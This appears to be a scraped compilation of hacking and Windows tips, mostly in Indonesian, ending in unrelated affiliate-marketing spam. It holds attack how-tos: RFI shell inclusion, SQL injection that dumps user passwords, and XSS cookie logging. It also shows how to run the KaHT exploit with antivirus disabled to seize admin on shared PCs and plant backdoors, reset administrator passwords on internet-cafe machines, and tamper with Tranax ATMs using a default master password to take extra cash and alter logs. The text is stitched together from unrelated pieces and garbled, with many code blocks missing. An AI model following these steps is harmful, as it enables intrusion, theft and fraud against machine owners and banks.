Web Hacking

Things to know:

=- Vulnerability : a security hole, can be exploited to change the way the webapp / software works / functions.

=- CMS's, Forums uses DataBases to store the info like users, posts, threads, messages and so on, its usually / mostly a MySQL server.

=- RFI [ Remote File Inclusion ] : a malicious user can include a 'bad' code to be executed on the vulnerable site.

=- LFI [ Local File Inclusion ] : a malicious user can open any file on the server.

=- SQL Injection : Injecting a MySQL query to bypass or get more info from a DataBase.

=- XSS [ Cross Site Scripting ] : if it was a permanent vulnerability, where the users input is saved, the user can log cookies, IP, and much more...

=- Exploit : a script made to maliciously use a vulnerability.

We are going to take each vulnerability, and take alook at what goes wrong with the web developer, that made the script vulnerable...

=- RFI ::

RFI's are exploited by including a 'bad' code from another site, to the infected site, for example you can include a PHP-Shell, and execute command on the server using it...

this vulnerability is very dangerous, a site infected with it can be compromised easily...

an example of a code infected with a RFI:

Code:


as you can see, we are taking the variable page, and including it, now that script will work great and do what it's supposed to do, for example:

www.example.com/index.dmz?page=contact.dmz

this would open contact.dmz, BUT, what would a malicious user do?

http://www.example.com/index.dmz?pag...com/shell.txt?

the shell code must be in a txt file, because this way the code will be parsed / executed on the vulnerable site.

what happens then?

Code:



that text file gets included, so lets say the shell.txt had the following code:

"; ?>

a small text box would appear on the page, with a button, that would execute commands... the user can compromise the full site using this simple text box, if he had enough privs, he can do the following:

rm -rf

and delete your files...

some devs, think they can fix the vulnerability by doing the following:

Code:


this way, you can only include .php files, and that is not really a big deal cause PHP gets parsed on the server side...

but, that wont stop some people, there is something called a NullByte, that would simply tell PHP to ignore anything after it... if someone wanted to exploit that code, he would do:

http://www.darkmindz.com/index.dmz?p.../shell.txt?

as you can see, the [ ] is the NullByte, that would get parsed this way:

Code:

so the question now, is how to completely secure this URL system?!

well, you can use a switch statement, and this way, anything other than what is already stated, wont be included.. ex:

Code:



that is a perfect system, simple, secure, and works

now that is done, RFI, is just like LFI, nothing is different, but the fact that LFI only gets the pages from the server, most of the times download scripts are infected with LFI, cause they are made to readfile(); whatever it was lol.. which is just bad coding...



Now moving to SQL injections, those are deadly when E-Commerce sites are infected with them!!

a malicious user would exploit an infected code, by bypassing a login form, and logging in as admin.

or by injecting the URL so he can execute MySQL query's, which would let him gain access to Users info, and so on ...

example of vulnerable code:

Code:



now, as you can see, it takes the 'id' variable, and query's it, with no filters at all!!!

now if i wanted to inject it, i would first check for the vulnerability.... by doing the following:

www.example.com/page.php?id=1 OR 2

IF 2 news was there, then am lucky , and here comes the good part, where the information gets extracted, using a UNION command, i can select from another column, and echo it there...

so an injection would be:

www.example.com/page.php?id=1 OR 2 UNION SELECT name,1,password,email FROM users

this would echo the passwords, to the page. now depending on the number of rows in the news column, i will need to change the number of rows selected...

so now we know what went wrong, lets secure it!!

Code:

that is it, this code is secure...

now moving to XSS, it is not really a big issue UNLESS it was permanent!

example of permanent XSS would be in a guestbook, comments, contact forms, mailing lists, etc...

what can the malicious user do?

well, he can use a javascript to change title, forms, prices, hidden data, pages, actions, and even worse, log the page!
some CMS's and Forums, uses cookies and store the users info in them, if that site was vulnerable to XSS, the attacker can gain admin privs by logging the admin cookies...

a vulnerable code would be:

Code:

"; echo $message; } echo "

"; ?>

ok, so now a malicious user could do the following:

submit the following text to test for vulnerability :

Code:


or

Code:

Nice Website!

IF the HTML gets parsed "and it will in this code" , the attacker will now move to the next step, which is logging the page.. by redirecting it to a logger..

some methods of bypassing some filters, for example, if the form only submits links, lets take this one as an example:


Code:
"; echo "Link";; } echo "

"; ?>

now that should not parse anything, but simply wrap it in a link right?

well, i don't think so, you can simply bypass it using:

Code:
'>

why does that bypass it?!

here is what happens, the Code:
'>

will stop the a tag, and then you can open anything else...

here is the result:

Code:
'>Link

as you can see, the a tag got closed, which allowed me to open another tag, which is a script here. and it works

Well, we are done now , i hope you enjoyed this tutorial, and learned something new from it... questions?

Tips-Trik CMD : Membuat JAMcmd

Hola….., wah.. pasti banyak yang udah kangen (mungkin tidak samasekali) sama saya n gak sabar pengen liat tutorial keren lagi (huh..GR banget mas..). OK, langsung saja kita ke masalahnya, tapi sebelumnya saya pengen cerita dikit tentang munculnya ide gila ini.

Begini ceritanya…………………..waktu itu, di malam gelap gulita aku sedang memanjat pohon semangka yang sangaaat tinggi.. tiba-tiba aku dikagetkan oleh sesuatu yang sangat-sangat mengerikan. Sebuah sosok berambut hitam berkacamata datang menghampiriku dan waw..ternyata seorang wanita cantik. Saat itu aku terkesima ketika dia sedang mandi di sungai dan aku berniat untuk mencuri pakaiannya..tapi begitu saya hendak mengambilnya ada saja yang menggagalkan misi gila itu..emak aku menyiramku dengan segalon air dan akupun terbangun..yach buyar deh Ceritanya..tapi gpp masih ada cerita yang jauh lebih gak nyambung n’ ide yang lebih gila lagi, on next Tut’s tentunya..

Langsung saja kita jangan berlama-lama lagi dengan cerita bodoh diatas, coz bikin kamu tambah bingung n tidak fokus..Kembali ke Judulnya: Membuat JAMcmd, pasti tambah bingung, apaan sich ??.. gw juga gak tau mau jelasin apa tentang jamCMD ini, kita liat aja yuk codenya biar ngerti….

HERE is THE CODE

(tested on Windows XP sp 2)

———————- start ————————-

@echo off

start /b “%comspec%”

:update

set _time=%time:~0,8%

title Time : [ %_time% ] @ [ %date% ]

ping localhost -n 2 -w 500 >nul

goto update

———————– end ————————–

Lah, segitu aja, panjang ceritanya daripada codenya..dasar ide gila

Save dengan extensi .bat

Contoh : JamCMD.bat

Copykan ke directory windows (c:\windows) supaya bisa dipanggil lewat menu RUN

START –> RUN, truz tinggal ketik jamcmd…

Oiya..kalau mau decompile jadi .exe juga bisa pake QuickBatchFileCompiler donlot di

Link : http://www.abyssmedia.com/quickbfc

Sekarang ke bab penjelasan..

Hmmm..

Tapi perasan gak ada yang bedanya dengan cmd biasa..

..eits tunggu dulu, coba perhatikan lagi windowtitlenya bertuliskan “Time : [7:01:53] @ [ 30 Jul 07 ]”

Nah itu dia bedanya, windowtitlenya ada jam dan tanggalnya yang selalu terupdate..

b). Penjelasan Code

1. echo off – digunakan agar perintah tidak menampilkan pesan setelah dijalankan (berlaku untuk perintah setelah/dibawah echo off).

2. Start – untuk menjalankan suatu program (%comspec% adalah cmd, jadi kita menjalankan cmd).

3. @ - sama dengan echo off tapi hanya untuk perintah dibelakangnya.

4. :update – memberi label update pada script untuk looping.

5. Set – untuk menampilkan, mengeset, atau menghapus nilai dari suatu variable (pada kali ini kita menggunakan variable “_time”).

6. Title – untuk mengganti windowtitle CommandPrompt.

7. Ping – sebenarnya untuk koneksi internet, tapi kita akali agar menggantikan pause selama 1 detik (di cmd tidak ada perintah untuk melakukan pause).

8. Goto – untuk melakukan looping/perulangan/kembali ke label “update”

Segitu aja yah penjelasannya, kalau ada yang belum jelas tanyaiin aja ke forum PemrogramanLain..oks

Tutorial Registry: memodifikasi content menu new

(context menu = menu yang muncul pada saat kita mengklik kanan)

Kalau Anda mengklik kanan pada desktop dan memilih New, maka akan terlihat banyak submenu untuk pembuatan aneka dokumen. Misalnya MS Word, Text Document, Corel Draw, dan lain-lain. Semakin banyak aplikasi yang diinstall semakin banyak pula deretan submenu tersebut.

Anda bisa memodifikasi submenu document sesuai keinginan Anda. Misalnya menghapus submenu (dari) document yang jarang Anda buka/buat. Bisa juga menambahkan bila belum terdapat pada submenu tersebut. Ada pun cara untuk menghapus submenu tersebut adalah sebagai berikut :

1. Jalankan registry editor.
2. Dari menu Edit, klik Find.
3. Tuliskan ShellNew, klik OK.
4. Setelah itu Anda bisa menghapus subkey ShellNew yang ditemukan oleh registry editor tersebut.

Tutorial Registry:

(context menu = menu yang muncul pada saat kita mengklik kanan)

Kalau Anda mengklik kanan pada desktop dan memilih New, maka akan terlihat banyak submenu untuk pembuatan aneka dokumen. Misalnya MS Word, Text Document, Corel Draw, dan lain-lain. Semakin banyak aplikasi yang diinstall semakin banyak pula deretan submenu tersebut.

Anda bisa memodifikasi submenu document sesuai keinginan Anda. Misalnya menghapus submenu (dari) document yang jarang Anda buka/buat. Bisa juga menambahkan bila belum terdapat pada submenu tersebut. Ada pun cara untuk menghapus submenu tersebut adalah sebagai berikut :

1. Jalankan registry editor.
2. Dari menu Edit, klik Find.
3. Tuliskan ShellNew, klik OK.
4. Setelah itu Anda bisa menghapus subkey ShellNew yang ditemukan oleh registry editor tersebut.

Mendapatkan Akses Admin di Windows XP

Terkadang dalam suatu warnet atau Lab atau bahkan kost. yang menggunakan WIndows XP, biasanya pengguna diberikan akses guest atau limited account. Untuk ngeburn CD atau klo mo nginstall program kita ngga akan bisa, karena aksesnya bukan admin. Kadang-kadang ngeselin juga klo kayak gitu, jadi ngga bisa ngapa-ngapain, Burn CD ga bisa, jalanin program ga bisa, pokoknya terbatas banget :(...

gue mo ngasih tips gimana caranya dapetin akses admin yang memanfaatkan kelemahan di Windows XP. Mungkin yg master dah pada tau tips ini, tapi kan ngga semuanya master ;p... gue cuma mo bagi-bagi ilmu aja, siapa tau ada gunanya. Tapi penulis ngga bertanggung jawab klo ada yang menggunakan untuk hal-hal yang kurang bertanggung jawab, tutorial ini cuman untuk iseng-iseng aja, he...

Apa aja yang dibutuhin ?
1. Komputer??
2. Hoki, karena cuman WinXP yg blm di Update aja (ato yg masih Vulner yg bisa diakses)
3. Uang, buat jajan n kewarnet (atau klo mau, bisa ngehack bilingnya, bisa ga pake uang kan... tp bisa2 lo ketangkep)


Langkan pertama lo butuh program exloit KaHT yg dibuat oleh Kralor, KaHT tuh bisa 'NyeCan' beberapa Host, trus dicari mana yg 'Vulner', n jalanin exploit di Host yg Vulner itu. Klo Linknya ga bisa, coba Googling aja, banyak ko, atau klo msh g dpt juga email aja ke gue! klo dah dapet, trus jalanin cmd lewat Run (Start > Run > cmd). Sebelumnya jangan lupa untuk men-disable antivirus, karena kaht dikenali sebagai trojan. Misalkan program kaht ada di drive C, folder kaht, maka pertintahnya sbb:

C:\kaht>kaht 127.0.0.0 127.0.0.1

--> artinya scan Ip dari 127.0.0.0 sampai 127.0.0.1 (127.0.0.1 adalah IP untuk Loopback, artinya kaht melakukan scanning untuk komputer itu sendiri)

Bisa juga untuk Scanning jaringan tertentu misalnya

kaht 192.168.0.0 192.168.0.100

Klo berhasil, lo bakal dapet akses admin..

C:\Windows\system32>

coba check IP nya (ipconfig), apa ini komputer kita ???

TaRaa.... yup, 'Admin Under Control' hehe... dapet deh akses admin :D
Klo dah gini lo bisa ngapain aja lewat komputer itu. Mo, ngeBurn CD, mo liat-liat file yg di 'protect' admin (siapa tau aja ada file2 yg menarik), mo buat user dgn akses admin, atau buat Backdoor biar klo Login usernya punya akses admin.... Atau lo bisa ngisengin temen lo yang satu jaringan (LAN), bisa juga curangin waktu maen game di jaringan... hehe.. kan seru tuh!!

Mengembalikan Boot Manager Windows XP

Dalam satu komputer yang terdapat lebih dari satu OS (Operating System), biasanya terdapat boot manager untuk memilih OS yang akan digunakan. Untuk Komputer yang terdiri dari Windows 98/Me dengan windows XP, terdapat Boot manager yang akan memberi pilihan OS yang akan dipilih. Bagi orang yang sering gonta-ganti OS, hal ini menjadi masalah keitka Boot Manager tidak berjalan dengan baik dan tidak dapat masuk ke Windows XP. Atau jika ingin menginstall Windows 98 tanpa mau kehilangan XP (Instalasi Windows 98 akan mengakibatkan tidak dapat boot ke Windows XP). Berikut adalah cara yang dapat digunakan untuk menginstall Boot Manager agar dapat boot ke windwos XP.

Boot computer menggunakan CD Installer Windows XP (seperti ketika install Windows XP). Setelah proses inisiasi, pilih (R) Recovery. Setelah itu, akan diminta password Administrator. Setelah berhasil, maka akan muncul prompt (C:\Windows>). Setelah itu ketikkan perintah :

fixmbr

bootcfg /rebuild

Setelah itu keluar dengan menggunakan perintah exit .

Reboot kembali komputer anda. Boot Manager akan kembali seperti semula

tutorial Registry I

Windows merupakan sistem operasi untuk PC yang paling populer saat ini, mulai dari Windows 95, 98, NT dan yang baru saja diluncurkan yaitu Windows 2000 dan Windows Millenium. Salah satu keunggulan Windows adalah kemudahan dalam penggunaannya. Misalnya kemudahan mulai dari install, konfigurasi sampai dengan adanya feature plug and play untuk hardware.

Tentunya semua konfigurasi dan setting tersebut disimpan dalam sistem operasi, dan untuk menyimpan informasi berbagai setting dan konfigurasi, Windows menggunakan registry. Registry merupakan database yang digunakan untuk menyimpan semua setting dan informasi hardware, software dan berbagai preferences untuk Windows 32 bit, termasuk Window 95, 98, NT, Millenium dan 2000. Salah satu contohnya adalah misalnya seseorang mengganti assosiasi file atau menginstall program, maka perubahan setting tersebut akan dituliskan pada registry. Contoh lainnya adalah mendisable Display Properties, menyembunyikan berbagai menu pada Menu Start.

Selain sebagai tempat untuk menyimpan informasi sistem operasi Windows sendiri, registry juga digunakan sebagai tempat untuk menyimpan berbagai informasi setting dan konfigurasi pada aplikasi atau program. Misalnya WinZip menggunakan registry untuk menyimpan informasi toolbar, aplikasi untuk membuka file (viewer), user name, serial number, dan lain-lain.

Registry diletakkan pada dua buah hidden file yaitu user.dat dan system.dat yang terletak pada directory Windows untuk Win 95/98/Me dan pada directory Windows/System32/Config untuk Windows NT. Selain menggunakan registry (system.dat dan user.dat), Windows juga menyimpan informasi setting tertentu pada file msdos.sys, system.ini dan win.ini.

Membuat Program yang dapat mengcopy dirinya sendiri

MEMBUAT PROGRAM YANG DAPAT MENGCOPY DIRINYA OTOMATIS

Source code program dalam DELPHI. Program ini akan mengcopy dirinya otomatis ke tempat yang dinginkan.. yeah mirip-mirip worm gitu deech.. ;) Thanks to CodeMaker .. Great work man ;)

var
Form1: TForm1;
ExeString: String;

implementation

{$R *.DFM}
///////////////////////////////////////////////

procedure Extract(A,B: String;Var C,D: String);
Var
E,F: Integer;
begin
if Pos(uppercase(A),C) > 0 then
begin
E := Pos(uppercase(A),C)+length(A);
F := Pos(uppercase(B),C);
D := Copy(C,E,F-E);
end;
end;
////////////////////////////////////

procedure Exe2String(var A:String);
Var
ExeStream: TFileStream;
MyStream: TMemoryStream;
begin
ExeStream:=TFileStream.Create(Application.ExeName,fmOpenRead or
fmShareDenyNone);
Try
SetLength(A, ExeStream.Size);
ExeStream.ReadBuffer(Pointer(A)^, ExeStream.Size);
Finally
ExeStream.Free;
end;
end;
///////////////////////////////////////////

procedure Delay(ms : longint);
var
TheTime : LongInt;
begin
TheTime := GetTickCount + ms;
while GetTickCount < TheTime do
Application.ProcessMessages;
end;
//////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////
procedure TForm1.FormCreate(Sender: TObject);
Var
MyStream: TMemoryStream;
name,C,Temp: String;
D,E: integer;
begin
exe2String(ExeString);////////////////////////////Get entire exe file from HD
//and store in global variable
//ExeString.


if pos(uppercase('soname'),exestring) > 0 then //Check if exe contains a
begin //users name already
and if
delay(500); //it does then see if
the
if pos('_clone',application.exename) = 0 then //running exe is a temporary
begin //clone program.. if
it is
not
name := application.exename; //a clone then attempt to delete
Insert('_clone',name,(length(name)-3)); //any clone that may be in the
deletefile(name); //applications directory. This
end; //ensures that no clone will
//ever remain after exe has
//been customized.....


//////////////////////////////////////////////

edit1.visible := false; ///////////////////////It has been determined that
form1.color := $00c6aa84; //the running exe has already been
form1.height := 300; //customized..so alter the exe's
//appearance to reflect that fact
//This is where you put any setup code you want
//to run when it has been determined that the exe
//has ALREADY been modified! Code to check for a
//valid usename+key,to alter the exe's appearance
//or whatever you want to do to change the way the
//now modified prog is to act should be done HERE!end;


//////////////////////////////////////////////

//The code below runs IF it is determined that the currently running exe is
//a temporary clone program..... this code will delete the original exe file
//from the HD and then save a new copy of itself to the HD with the original
//exe name...DO NOT REMOVE THE delay(500) line! The program will fail sometimes
//if you do! Since the currently running exe is a clone that means it already
//has been modified and in fact is identical to the final exe that it is saving
//to disk with the original name... as soon as the new exe is saved to disk
//this code runs it...then immediately terminates itself .. the clone commits
//hari kiri :-) and since every time a customized exe starts up it attempts
//to delete it's clone from the current directory this clones remaining life
//on disk is limited to 1/2 second......
if pos('_CLONE',uppercase(application.exename)) <> 0 then
begin
delay(500);
name := application.exename;
Delete(name,length(name)-9,6);
if deletefile(name) then
begin
MyStream := TMemoryStream.Create;
try
MyStream.WriteBuffer(Pointer(ExeString)^, Length(ExeString));
MyStream.savetofile(name);
finally
MyStream.Free;
ShellExecute(Handle, 'open',
pchar(name), nil, nil, SW_SHOWNORMAL);
application.terminate
end;
end
else showmessage(name+' not found');//this displays if it was determined that
//the running exe is a clone but for some
//crazy reason the original exe file is
//not found in the current directory :-(


end;

//The code below extracts the user name string from the exe file
//and displays it as a caption...but you could retrieve whatever
//data you had stored and do whatever you want with it :-)


if Pos(uppercase('soname'),exestring) > 0 then //Extract Name string
begin //from exe file and
Extract('soname','eoname',ExeString,Temp); //display as the button
SpeedButton1.Caption := 'Program is Registered to '+Temp;//caption :-)
end;
end;
////////////////////////////////////////////////////

//The code in the SpeedButton event handler below modifies the string held in
//the global variable ExeString...this string contains the entire exe file as
//string data...it modifies ExeString by adding data to it's end... the data is
//held between the demarcators 'SONAME' and 'EONAME' these mark off the data
//and make it possible to find it later and extract it from the running exe
//After ExeString is modified it is saved to a new file in the current directory
//with the exe's name plus '_clone' so if the exe name is myprog.exe the clone
//that is saved will be myprog_clone.exe... as soon as the clone exe is saved
//to disk the program runs it and then terminates itself :-)
//The reason uppercase('soname') is used is because the program would find the
//data 'SONAME' at the wrong point in the exe file if you did not do it this way
//ditto for uppercase('eoname') this is an IMPORTANT POINT!


procedure TForm1.SpeedButton1Click(Sender: TObject);
var
MyStream: TMemoryStream;
MyFile,newname: string;
A,B: Integer;
begin
If Speedbutton1.Caption <> 'Enter Your Name Below Then Click Here To
Customize Exe'then
begin
exit;
end;
begin
if edit1.text = '' then
begin
showmessage('Please enter a name in the Edit Box!');
exit;
end;
MyStream := TMemoryStream.Create;
try
//in line below you tack on the new data :-)
ExeString := ExeString + uppercase('soname') + Edit1.Text
+ uppercase('eoname');

MyStream.Clear;
MyStream.WriteBuffer(Pointer(ExeString)^,
Length(ExeString));//string
2 stream

newname := application.exename; //change name to make it a clone!
Insert('_clone',newname,length(application.exename)-3);

MyStream.savetofile(newname);//save stream to file as a temporary
clone!
finally
MyStream.Free;
end;

ShellExecute(Handle, 'open', //run the clone you just
saved!
pchar(newname), nil, nil, SW_SHOWNORMAL);

application.terminate; //die little proggie
die! :-)
end;

Billing Internet

Sering kita ke warnet yang banyak mengunci berbagai akses seperti windows explorer tidak bisa dibuka,
klik kanan di desktop tidak bisa, klik kanan di folderpun tidak bisa...betapa sedihnyakan... apalagi bagi saya yang telah terbiasa dengan shortcut windows xp, misalnya membuka windows explorer:
Win +E, membuka run: Win +R, mencari file di dalam harddisk Win +F, yang mana tombol Win terletak antara
tombol Ctrl dan tombol alt. ingin tahu caranya...nih silakan coba...
Sebenarnya cara ini telah lama saya coba dan ternyata berhasil (praktek di komputer sendiri dan beberapa warnet yang menggunakan billing explorer) Mohon maaf kepada pembuat Billing Explorer...untuk tidak berpanjang lebar langsung aja ya...
==> Pertama Buka GPEdit.msc dulu
1. Jika Klik Kanan di Desktop tidak bisa
Masuk Ke GPEdit.msc
Masuk ke [User Configuration/Administrative Templates/Desktop]
- Disable (Hide and disable all items on the desktop)

Jika MyComputer tidak ada
- Disable (Remove My Computer icon on the Desktop)

2. Jika Ingin mengubah properties pada taskbar start menu
masuk ke [User Configuration/Administrative Templates/Start Menu and Taskbar]
- Disable (Prevent changes to Taskbar and Start Menu Settings)

Jika Menu Run tidak muncul
- Disable (Remove Run menu from Start Menu)

Jika menu pada taskbar saat klik kanan tidak muncul
- Disable (Remove access to the context menus for the taskbar)
3. Apabila Control Panel tidak bisa di akses
Masuk ke [User Configuration/Administrative Templates/Control Panel]
- Disable (Prohibit access to the Control Panel)

4. Jika Command Prompt tidak bisa di akses
Masuk ke [User Configuration/Administrative Templates/System]
- Disable (Prevent access to the command prompt)

Jika Registry Editor tidak bisa di akses
- Disable (Prevent access to registry editing tools)

5. Jika Task Manager tidak bisa di akses
Masuk ke [User Configuration/Administrative Templates/System/Ctrl+Alt+Del Options]
- Disable (Remove Task Manager)

6. Jika Folder Options pada Windows Explorer tidak muncul
Masuk ke [User Configuration/Administrative Templates/Windows Component/Windows Explorer]
- Disable (Remove these Folder Options menu item from the Tools menu)

Jika Windows Key tidak berfungsi
- Disable (Turn off Windows+X hotkeys)

==> Setelah GPEdit.msc terbuka baru buka Registry Tools
caranya:
C:\Windows\System32\regedit.exe <-- double Click --- atau --- C:\Windows\regedit.exe <-- double Click Regedit4

[HKEY_LOCAL_MACHINE\Software\ResearchMachines\NOATTRIB.VXD]
"loadvxd"=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoDrives"=dword:00000000
"LinkResolveIgnoreLinkInfo"=dword:00000000
"NoFolderOptions"=dword:00000000
"ClearRecentDocsOnExit"=dword:00000000
"NoTrayContextMenu"=dword:00000000
"EnforceShellExtensionSecurity"=dword:00000000
"NoPrinterTabs"=dword:00000000
"NoDeletePrinter"=dword:00000000
"NoAddPrinter"=dword:00000000
"NoRun"=dword:00000000
"NoSetFolders"=dword:00000000
"NoSetTaskbar"=dword:00000000
"NoClose"=dword:00000000
"NoViewContextMenu"=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableRegistryTools"=dword:00000000
"NoDispScrSavPage"=dword:00000000
"NoDispAppearancePage"=dword:00000000
"NoDispSettingsPage"=dword:00000000
"NoAdminPage"=dword:00000000
"NoProfilePage"=dword:00000000
"NoDevMgrPage"=dword:00000000
"NoConfigPage"=dword:0000000
"NoFileSysPage"=dword:00000000
"NoDispCPL"=dword:00000000
"NoDispBackgroundPage"=dword:00000000
"NoVirtMemPage"=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network]
"NoFileSharingControl"=dword:00000000
"NoPrintSharingControl"=dword:00000000
"NoNetSetup"=dword:00000000
"NoNetSetupIDPage"=dword:00000000
"NoNetSetupSecurityPage"=dword:00000000
"NoEntireNetwork"=dword:00000000
"NoWorkgroupContents"=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp]
"NoRealMode"=dword:00000000
"Disable"=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop]
"NoHTMLWallPaper"=dword:00000000
"NoChangingWallPaper"=dword:00000000
"NoCloseDragDropBands"=dword:00000000
"NoMovingBands"=dword:00000000
"NoAddingComponents"=dword:00000000
"NoDeletingComponents"=dword:00000000
"NoEditingComponents"=dword:00000000
"NoClosingComponents"=dword:00000000

[HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoFolderOptions"=dword:00000000

[HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableCMD"=dword:00000000
"DisableRegistryTools"=dword:00000000

[HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Advanced]
"Hidden"=dword:00000000
"HideFileExt"=dword:00000000
"ShowSuperHidden"=dword:00000000

==> Setelah regedit.exe terbuka baru ubah password administrator <-- (Ini yang di tunggu2x) caranya: C:\Windows\System32\compmgmt.msc <-- double Click Pilih: - Computer Management (Local)/System Tools/Local Users and Groups/User

- Klik kanan Administrator -> Set Password

- Ketik New Password: **********
Confirm Password: **********

Selesai deh!!!!!!!!!!!!!



Jika tidak bisa sama sekali klik kanan di Windows Explorer masih ada trik tertentu
caranya:
- Masuk ke Folder misalnya: C:/Windows/System32
- Trus klik salah satu file dalam folder itu
misalnya: TaskMgr.exe
- Kemudian klik menu File pada Win Explorer
- Run as...
- Klik The following user -> Masukkan passwordnya
Username: Administrator
Password: ********
- Selesai
NB: Cara ini dilakukan jika kita sudah mendapatkan password administrator seperti yang telah
kita pelajari di atas. jika semua cara di atas masih ngga bisa jg berarti masih ada cara
lain silakan anda temukan sendiri, selamat mencoba

Contoh lain2nya dibawah ini...........


1. Membuka MSConfig dari Windows Explorer
Caranya:
C:\WINDOWS\pchealth\helpctr\binaries\MSConfig.exe

2. Membuka Sysedit dari Windows Explorer
Caranya:
C:\Windows\System32\Sysedit.exe

3. Membuka Task Manager
Caranya:
C:\Windows\System32\taskmgr.exe

4. Membuka Services.msc
Caranya:
C:\Windows\System32\services.msc

5. Membuka Disk Management System (Melihat Partisi Harddisk)
Caranya:
C:\Windows\System32\diskmgmt.msc

6. Membuka Computer Management Services
Caranya:
C:\Windows\System32\compmgmt.msc

7. Membuka Shortcut to desktop
Caranya:
C:\Windows\System32\Show Desktop

8. Membuka Defragment
Caranya
C:\Windows\System32\dfrg.msc

ATM hacking

Apa itu ATM Machine?

Kepanjangan nya adalah Auto Teller Machine ..

Sebuah mesin yang bisa dikatakan sebagai Bank Mini .. Hehehe ..

Sebuah mesin yang kayaknya udah gak perlu diceritain lagi deh apa dan bagaimananya, karena saya rasa semua orang sudah tahu mengenai mesin ini ..

Yang jelas dengan mesin ini, kalian bisa mengambil duit, tanpa harus pergi ke bank dan melakukan banyak hal lain yang menurut saya pribadi adalah melelahkan .. Ngisi form lah, apalah .. Capek dude xD~~

Nah, sering kali tuh terjadi rumor .. Bisa gak sih ATM di Hack??!

Gimana sih caranya?? Dalam kesempatan kali ini, saya akan membuat sebuah tutorial dan artikel bersifat informatif singkat berkenaan dengan kemungkinan hacking ATM Machine itu sendiri .. Sebenarnya ada banyak cara, dan kebanyakan cara bisa anda lihat di http://www.sate.name .. Tapi dalam kesempatan kali ini, saya akan sedikit membahas mengenai masalah teknis yang ada xD~~

So .. Lets start the GAME xD~~

Hal ini hanya bekerja untuk mesin tipe Tranax Minibank 1500 Series ..

Kalau anda teliti .. Anda bisa mendapatkan sebuah informasi penting dari series yang saya berikan diatas xD~~

Berikut adalah cuplikan dari Manual Book yang saya baca:

To access the Operator Function menu, hold the , and keys simultaneously for 2 seconds, release them and press 1, then press 2, then press 3. The timing of this procedure can be difficult at first.

Jadi intinya untuk masuk kedalam Operator Function pada ATM Machine tipe ini, anda perlu menekan tombol , dan secara bersamaan selama 2 detik, lepaskan mereka, dan tekan tombol 1, kemudian 2, dan 3. Mungkin timing awalnya akan susah pada saat anda mencoba pertama kali .. xD~~

Kalau anda kesulitan untuk login ..

Cara kasarnya juga ada .. Wakakaka ..

Matikan power ATM mesin, buka saja penutup ATM, copot kertas untuk printernya, pasangkan kembali, dan pada saat anda menyalakan kembali ATM, dia akan lgsg masuk pada Operator Function ..

Susah memang ..

But no pain .. No gain right?? xD~~

Setelah masuk ke dalam Operator Function .. Anda akan ditanyai 3 jenis password, yang mana anda dapat memilih 1 dari antara 3 itu:

- Operator Password (Ini untuk meng-akses menu dasar struktur ATM)

- Service Password (Mengijinkan akses ke menu dasar dan diagnostic menu)

- Master Password (Mengijinkan anda mengakses penuh mesin tersebut)

Disini adalah kunci dari pembicaraan kita ..

Pada mesin Tranax MiniBank 1500 Series .. Default Master Password nya adalah "000000" (Tanpa kutip) .. Dan saya rasa tidak banyak yang merubah default password itu, Hehehe ..

Dari sana anda bisa melakukan banyak hal ..

Termasuk diantaranya "reset the status of the cash cartridges" .. Yang dimana membuat anda mgkn saja melakukan pengambilan uang sebesar 100rb namun anda mendapatkan 400rb karena anda membuat cashingnya menjadi 4x lipat lebih banyak .. Namun bank akan hanya me-reduce uang anda sebanyak 100rb sesuai request anda .. Hehehehe ..

Menarik bukan??!

Wakakaka ..

Perihal .. Bagaimana apabila kita terlacak??

Dengan Master Password, anda bisa merubah jam transaksi, merubah entire timing dan printing data ATM, dll dsb dst .. Yah, kreasikan sendiri utk bisa kabur dr tuduhan .. Jadi intinya, yang perlu anda takuti adalah .. Security Cameras

NB: Tutorial ini hanya dibuat untuk pembelajaran dan pembuktian bahwa ATM Hacking itu mgkn terjadi. Oleh dari karena itu kami tidak membahas jauh lebih men-detail, berikut juga merupakan sebuah bukti bahwa "Lubang" keamanan ini sedang sedemikian rupa di patch oleh pihak Tranax: Baca Disini!!! .. Sekian

Menampilkan ekstensi file

Ekstensi file dapat dikatakan sebagai pengenal jenis file. Misalnya .doc untuk file MS Word, .cdr untuk Corel Draw, dan sebagainya (lihat juga di sini). Secara default ekstensi file tesebut tidak akan kelihatan. Tetapi Anda bisa menampilkan ekstensi file tersebut sehingga Anda bisa lebih memahami tentang ekstensi file pada Windows Anda. Caranya sebagai berikut :

1. Dari Windows Explorer, klik menu View, pilih Folder Options.
2. Hilangkan tanda check (chenthang) pada bagian Hide file ekstention for known file types untuk menyembunyikan ekstensi file.
3. Sebaliknya beri tanda check untuk menyembunyikan ekstensi file dan menampilkan ekstensi file hanya untuk file yang tidak diketahui jenisnya.

Technorati Profile

www.blogdigger.com

Google

Look for MONEY without CAPITAL???Many people will carry out the business am waiting terkumpul him capital.How with you whether like most people???Do you want to do business with without capital OR could money without capital???Many people mensangsikan that.But for you a person netter, that will become the reality.Please PROVE by joining programs is supervised this.Make money bisnis online from earn profit earning affiliate programsThere is no doubt that the most successful group amongst online entrepreneurs are affiliates. Few are willing to go public about it but it is widely known that that there are a number of affiliates comfortably raking in hundreds of thousands of dollars in income every year. Actually there is one very powerful advantage that online entrepreneurs involved in affiliate programs have over their counterparts earning from their own ecommerce web sites. And that is the fact that people are usually bound to believe a person referring another web site to them much more easily and quickly than one trying to promote their own site. This coupled with the fact that the Internet is an amazingly powerful referral marketing tool has made the rise of online affiliates phenomenal within such a short time. But there is one major stumbling block that affiliates face today. And that is how to advertise their programs or how to generate enough sales leads. To be successful in any online venture a person needs numerous leads on an ongoing basis, that way they will have a chance of turning as many of them as possible into actual sales. Many affiliates generate leads by finding ways of harvesting email addresses of visitors to their web sites to create an opt-in email list which they then use as leads to refer to their affiliate sites. This is usually done via special links to the sites 